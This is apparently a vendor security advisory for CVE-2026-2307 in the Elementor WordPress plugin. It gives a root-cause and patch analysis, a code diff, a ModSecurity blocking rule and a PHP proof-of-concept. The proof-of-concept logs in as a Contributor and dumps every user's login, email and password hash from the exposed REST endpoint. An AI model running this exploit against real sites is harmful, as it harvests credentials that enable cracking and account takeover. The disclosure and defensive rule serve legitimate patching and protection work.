Published : November 18, 2026

CVE-2026-2307: Elementor <= 4.0.5 Authenticated (Contributor+) Sensitive Information Exposure PoC, Patch Analysis & Rule

CVE ID CVE-2026-2307
Plugin elementor
Severity Medium (CVSS 6.5)
CWE 200
Vulnerable Version 4.0.5
Patched Version 4.0.6
Disclosed November 17, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-2307:

The Elementor Website Builder plugin for WordPress, versions up to and including 4.0.5, exposes sensitive user data through the `/wp-json/elementor/v1/user` REST endpoint. This endpoint is accessible to authenticated users with Contributor-level permissions and above. Atomic Edge analysis confirms the vulnerability allows any such user to retrieve email addresses, password hashes, and usernames for all WordPress users, resulting in a CVSS score of 6.5 (Medium) and CWE-200 classification.

Root Cause:
The vulnerability resides in the `User_Query` class located at `elementor/modules/wp-rest/classes/user-query.php`. The `get()` method fails to restrict the fields returned by the underlying `get_users()` call. It constructs a query with `number`, `search`, and optionally `meta_query` parameters, then maps each user object to an array using `translate_keys()`. The map includes all user object properties (e.g., `user_email`, `user_pass`, `user_login`) because the original code casts the entire `WP_User` object to an array and only adds `display_name` and `role`. No allowlist of safe fields is applied. The endpoint is registered with a permission callback that only checks for `edit_posts` capability (typical for Contributors), not for `list_users` or `edit_users`. This design exposes the full user record, including password hashes, to low-privileged users.

Exploitation:
An attacker with a Contributor account can send a GET request to `/wp-json/elementor/v1/user` with parameters such as `search` (to match all users by using a wildcard or empty string) and `items_count` (to control the number of results, up to `MAX_RESPONSE_COUNT`). The response includes a `data.value` array where each element contains keys like `ID`, `user_login`, `user_email`, `user_pass`, `user_nicename`, `user_registered`, and others. The attacker can iterate through all users by using the search parameter or by setting a high `items_count`. No special payload is required; the endpoint returns the data directly.

Patch Analysis:
Version 4.0.6 replaces the direct `get_users()` call with an internal REST request to `/wp/v2/users` using `WP_REST_Request` and `rest_do_request()`. The new code sets `context` to `edit`, which requires the `list_users` capability, and maps only `id`, `name`, and `roles` from the response. This change enforces WordPress’s standard REST API permission checks and field filtering, preventing unauthorized access to sensitive fields. The patch also marks the endpoint as deprecated and adds a `_doing_it_wrong()` notice. The removal of custom search filters and meta query handling further reduces the attack surface.

Impact:
Successful exploitation exposes email addresses, password hashes, and usernames for all WordPress users. Attackers can use this information for credential stuffing, password cracking, phishing, and targeted attacks. The exposure of password hashes is particularly severe because it enables offline brute-force attacks. This vulnerability does not directly lead to privilege escalation or remote code execution, but it significantly aids further compromise of the site.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/elementor/elementor.php
+++ b/elementor/elementor.php
@@ -3,7 +3,7 @@
  * Plugin Name: Elementor
  * Description: The Elementor Website Builder has it all: drag and drop page builder, Atomic Editor, pixel perfect design, global and reusable style systems, mobile responsive editing, and more. Get started now!
  * Plugin URI: https://elementor.com/?utm_source=wp-plugins&utm_campaign=plugin-uri&utm_medium=wp-dash
- * Version: 4.0.5
+ * Version: 4.0.6
  * Author: Elementor.com
  * Author URI: https://elementor.com/?utm_source=wp-plugins&utm_campaign=author-uri&utm_medium=wp-dash
  * Requires PHP: 7.4
@@ -28,7 +28,7 @@
 	exit; // Exit if accessed directly.
 }

-define( 'ELEMENTOR_VERSION', '4.0.5' );
+define( 'ELEMENTOR_VERSION', '4.0.6' );

 define( 'ELEMENTOR__FILE__', __FILE__ );
 define( 'ELEMENTOR_PLUGIN_BASE', plugin_basename( ELEMENTOR__FILE__ ) );
--- a/elementor/modules/wp-rest/classes/user-query.php
+++ b/elementor/modules/wp-rest/classes/user-query.php
@@ -9,13 +9,13 @@
 	exit; // Exit if accessed directly.
 }

+/**
+ * @deprecated Use wp/v2/users instead. This endpoint proxies to wp/v2/users internally
+ *             and will be removed in 4.6.0 version.
+ */
 class User_Query extends Base {
 	const ENDPOINT = 'user';
-	const SEARCH_FILTER_ACCEPTED_ARGS = 1;
-	/**
-	 * @param WP_REST_Request $request
-	 * @return WP_REST_Response
-	 */
+
 	protected function get( WP_REST_Request $request ) {
 		$params = $request->get_params();
 		$search_term = trim( $params[ self::SEARCH_TERM_KEY ] ?? '' );
@@ -35,78 +35,60 @@
 		$validated_count = max( $requested_count, 1 );
 		$count = min( $validated_count, self::MAX_RESPONSE_COUNT );

-		$query_args = [
-			'number' => $count,
-			'search' => "*$search_term*",
-		];
+		$wp_request = new WP_REST_Request( 'GET', '/wp/v2/users' );
+		$wp_request->set_param( 'search', $search_term );
+		$wp_request->set_param( 'per_page', $count );
+		$wp_request->set_param( 'context', 'edit' );

-		if ( ! empty( $params[ self::META_QUERY_KEY ] ) && is_array( $params[ self::META_QUERY_KEY ] ) ) {
-			$query_args['meta_query'] = $params[ self::META_QUERY_KEY ];
-		}
+		$response = rest_do_request( $wp_request );

-		$this->add_filter_to_customize_query();
-		$users = Collection::make( get_users( $query_args ) );
-		$this->remove_filter_to_customize_query();
+		if ( $response->is_error() ) {
+			return new WP_REST_Response( [
+				'success' => true,
+				'data' => [
+					'value' => [],
+				],
+			], 200 );
+		}

 		global $wp_roles;
 		$roles = $wp_roles->roles;

-		return new WP_REST_Response( [
+		$users = Collection::make( $response->get_data() );
+
+		$result = new WP_REST_Response( [
 			'success' => true,
 			'data' => [
-				'value' => array_values( $users
-					->map( function ( $user ) use ( $keys_format_map, $roles ) {
-						$user_object = (array) $user;
-						$user_object['display_name'] = $user->data->display_name;
-
-						if ( isset( $user_object['roles'][0] ) ) {
-							$user_role = $user_object['roles'][0];
-							$role = $roles[ $user_role ]['name'];
-							$user_object['role'] = $role ?? ucfirst( $user_role );
-						}
-
-						return $this->translate_keys( $user_object, $keys_format_map );
-					} )
-				->all() ),
+				'value' => array_values( $users->map( function ( $user ) use ( $keys_format_map, $roles ) {
+					$user_data = [
+						'ID' => $user['id'],
+						'display_name' => $user['name'],
+					];
+
+					if ( ! empty( $user['roles'][0] ) ) {
+						$user_role = $user['roles'][0];
+						$role_name = $roles[ $user_role ]['name'] ?? ucfirst( $user_role );
+						$user_data['role'] = $role_name;
+					}
+
+					return $this->translate_keys( $user_data, $keys_format_map );
+				} )->all() ),
 			],
 		], 200 );
-	}
-
-	public function customize_user_query( $columns ) {
-		if ( ! in_array( 'ID', $columns, true ) ) {
-			$columns[] = 'ID';
-		}
-
-		return $columns;
-	}

-	/**
-	 * @return void
-	 */
-	private function add_filter_to_customize_query() {
-		$priority = self::SEARCH_FILTER_PRIORITY;
-		$accepted_args = self::SEARCH_FILTER_ACCEPTED_ARGS;
+		_doing_it_wrong(
+			'elementor/v1/user',
+			'Use wp/v2/users instead. This endpoint will be removed in 4.6.0 version.',
+			'4.0.4'
+		);

-		add_filter( 'user_search_columns', [ $this, 'customize_user_query' ], $priority, $accepted_args );
+		return $result;
 	}

-	/**
-	 * @return void
-	 */
-	private function remove_filter_to_customize_query() {
-		$priority = self::SEARCH_FILTER_PRIORITY;
-		$accepted_args = self::SEARCH_FILTER_ACCEPTED_ARGS;
-
-		remove_filter( 'user_search_columns', [ $this, 'customize_user_query' ], $priority, $accepted_args );
-	}
-
-	/**
-	 * @return array
-	 */
 	protected function get_endpoint_registration_args(): array {
 		return [
 			self::SEARCH_TERM_KEY => [
-				'description' => 'Posts to search',
+				'description' => 'Users to search',
 				'type' => 'string',
 				'required' => false,
 				'default' => '',
@@ -124,7 +106,7 @@
 				'sanitize_callback' => fn ( ...$args ) => self::sanitize_string_array( ...$args ),
 			],
 			self::ITEMS_COUNT_KEY => [
-				'description' => 'Posts per page',
+				'description' => 'Number of users to return',
 				'type' => 'integer',
 				'required' => false,
 				'default' => self::MAX_RESPONSE_COUNT,
@@ -132,8 +114,6 @@
 		];
 	}

-
-
 	protected static function get_allowed_param_keys(): array {
 		return [
 			self::KEYS_CONVERSION_MAP_KEY,
--- a/elementor/vendor/composer/installed.php
+++ b/elementor/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'elementor/elementor',
         'pretty_version' => '4.00.x-dev',
         'version' => '4.00.9999999.9999999-dev',
-        'reference' => 'c6ec1f1a7924378da02d3b93a25b6bb458e96573',
+        'reference' => '1d5bd253768e90c8c7020746f6ca4fa8dd58f055',
         'type' => 'project',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'elementor/elementor' => array(
             'pretty_version' => '4.00.x-dev',
             'version' => '4.00.9999999.9999999-dev',
-            'reference' => 'c6ec1f1a7924378da02d3b93a25b6bb458e96573',
+            'reference' => '1d5bd253768e90c8c7020746f6ca4fa8dd58f055',
             'type' => 'project',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@beginsWith /wp-json/elementor/v1/user" "id:20262307,phase:2,deny,status:403,msg:'CVE-2026-2307 via Elementor REST API',severity:'CRITICAL',tag:'CVE-2026-2307'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2307 - Elementor <= 4.0.5 - Authenticated (Contributor+) Sensitive Information Exposure

// Configuration
$target_url = 'http://example.com'; // Change to target WordPress site
$username = 'contributor'; // Contributor-level username
$password = 'password'; // Contributor-level password

// Step 1: Authenticate to obtain a valid session cookie and nonce
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
curl_close($ch);

// Step 2: Request the vulnerable REST endpoint
$endpoint = $target_url . '/wp-json/elementor/v1/user';
$params = [
    'search' => '', // Empty search to match all users
    'items_count' => 100 // Maximum number of users to retrieve
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint . '?' . http_build_query($params));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
curl_close($ch);

// Step 3: Parse and display sensitive data
$data = json_decode($response, true);
if (isset($data['data']['value'])) {
    echo "[+] Exploitation successful. Retrieved " . count($data['data']['value']) . " users.n";
    foreach ($data['data']['value'] as $user) {
        echo "ID: {$user['ID']}, Username: {$user['user_login']}, Email: {$user['user_email']}, Password Hash: {$user['user_pass']}n";
    }
} else {
    echo "[-] Exploitation failed. Response: $responsen";
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.